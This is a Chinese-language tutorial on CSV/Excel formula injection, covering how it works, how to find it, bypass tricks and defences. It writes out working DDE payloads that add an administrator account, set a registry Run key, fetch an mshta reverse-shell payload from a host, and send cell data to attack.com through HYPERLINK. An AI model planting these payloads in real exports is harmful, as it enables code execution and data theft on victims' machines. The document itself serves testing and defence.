CSV注入详解
字数 973 2025-08-24 07:48:09

CSV注入攻击详解与防御指南

1. CSV文件基础

CSV全称"Comma-Separated Values",是一种用逗号分隔值的纯文本格式文件,用于存储数据。特点:

  • 由任意数目的记录组成
  • 记录间以换行符分隔
  • 每条记录由字段组成,字段间以分隔符(通常是逗号)分隔

2. CSV注入原理

CSV注入是一种将包含恶意命令的Excel公式插入到可导出CSV/XLS格式文本中的攻击方式。当在Excel中打开CSV文件时:

  • 文件会转换为Excel格式
  • Excel公式会被执行
  • 导致命令执行等安全问题

关键触发点:当单元格的第一个字符是+-@=时,Excel会将其作为表达式处理

3. 攻击技术详解

3.1 DDE利用

动态数据交换(DDE)是Windows下的进程间通信协议,支持Excel、Word等程序。通过DDE公式可执行外部应用:

=1+cmd|'/C calc'!A0

3.2 操作系统命令执行

添加用户

=cmd|'/C net user test 123456 /add'!A0
=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0

修改注册表

=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

反弹Shell

  1. 使用Metasploit生成payload
  2. 在Excel中插入:
+1+cmd|'/c mshta.exe http://192.168.192.135:8080/770MqXy.hta'!A0

3.3 信息泄露

利用HYPERLINK函数发送敏感数据:

=HYPERLINK("https://attack.com?data="&A1,"click me")

3.4 网络钓鱼

直接访问钓鱼网站

=HYPERLINK("https://attack.com?data="&A1,"click me")

控制浏览器访问

=1+cmd|'/C "C:\Users\ASUS\AppData\Local\Google\Chrome\Application\chrome.exe" https://attack.com '!A0

4. 漏洞挖掘方法

  1. 查找系统中可导出为CSV/XLS格式的功能点

    • 信息统计
    • 日志导出
    • 数据报表
  2. 确认导出内容是否可控

    • 界面可直接编辑/新增
    • 通过数据篡改/HPP/追踪数据源控制输入
  3. 存在过滤时的绕过尝试

5. 绕过技巧

  1. 等号被过滤时使用运算符绕过:
-1+1+cmd|'/C calc'!A0
  1. 使用换行符%0A:
%0A-1+1+cmd|'/C calc'!A0
  1. 等号前加引号过滤时使用分号:
;-3+3+cmd|'/C calc'!D2
  1. 其他常用Payload:
@SUM(cmd|'/c calc'!A0)
=HYPERLINK("https://attact.com")

6. 防御措施

  1. 输入处理:

    • 禁止单元格以特殊字符开头:+, -, @, =
    • 对导出内容进行转义处理
  2. 功能限制:

    • 禁止导出CSV/XLS格式文件
    • 提供更安全的导出格式替代方案
  3. 黑名单过滤:

    • 过滤=(-)cmd
    • 过滤=(-)HYPERLINK
    • 过滤=(-)concat等危险函数
  4. 安全意识培训:

    • 提醒用户注意Office安全提示
    • 不要随意点击"是"确认未知来源文件的公式执行
    • 对可疑文件进行安全检查

7. 总结

CSV注入是一种利用Excel公式执行特性的攻击方式,危害包括命令执行、信息泄露和网络钓鱼等。防御需要从输入过滤、功能限制和安全意识多方面入手,特别要注意特殊字符的处理和DDE功能的滥用。

CSV注入攻击详解与防御指南 1. CSV文件基础 CSV全称"Comma-Separated Values",是一种用逗号分隔值的纯文本格式文件,用于存储数据。特点: 由任意数目的记录组成 记录间以换行符分隔 每条记录由字段组成,字段间以分隔符(通常是逗号)分隔 2. CSV注入原理 CSV注入是一种将包含恶意命令的Excel公式插入到可导出CSV/XLS格式文本中的攻击方式。当在Excel中打开CSV文件时: 文件会转换为Excel格式 Excel公式会被执行 导致命令执行等安全问题 关键触发点 :当单元格的第一个字符是 + 、 - 、 @ 、 = 时,Excel会将其作为表达式处理 3. 攻击技术详解 3.1 DDE利用 动态数据交换(DDE)是Windows下的进程间通信协议,支持Excel、Word等程序。通过DDE公式可执行外部应用: 3.2 操作系统命令执行 添加用户 修改注册表 反弹Shell 使用Metasploit生成payload 在Excel中插入: 3.3 信息泄露 利用HYPERLINK函数发送敏感数据: 3.4 网络钓鱼 直接访问钓鱼网站 控制浏览器访问 4. 漏洞挖掘方法 查找系统中可导出为CSV/XLS格式的功能点 信息统计 日志导出 数据报表 确认导出内容是否可控 界面可直接编辑/新增 通过数据篡改/HPP/追踪数据源控制输入 存在过滤时的绕过尝试 5. 绕过技巧 等号被过滤时使用运算符绕过: 使用换行符%0A: 等号前加引号过滤时使用分号: 其他常用Payload: 6. 防御措施 输入处理: 禁止单元格以特殊字符开头: + , - , @ , = 对导出内容进行转义处理 功能限制: 禁止导出CSV/XLS格式文件 提供更安全的导出格式替代方案 黑名单过滤: 过滤 =(-)cmd 过滤 =(-)HYPERLINK 过滤 =(-)concat 等危险函数 安全意识培训: 提醒用户注意Office安全提示 不要随意点击"是"确认未知来源文件的公式执行 对可疑文件进行安全检查 7. 总结 CSV注入是一种利用Excel公式执行特性的攻击方式,危害包括命令执行、信息泄露和网络钓鱼等。防御需要从输入过滤、功能限制和安全意识多方面入手,特别要注意特殊字符的处理和DDE功能的滥用。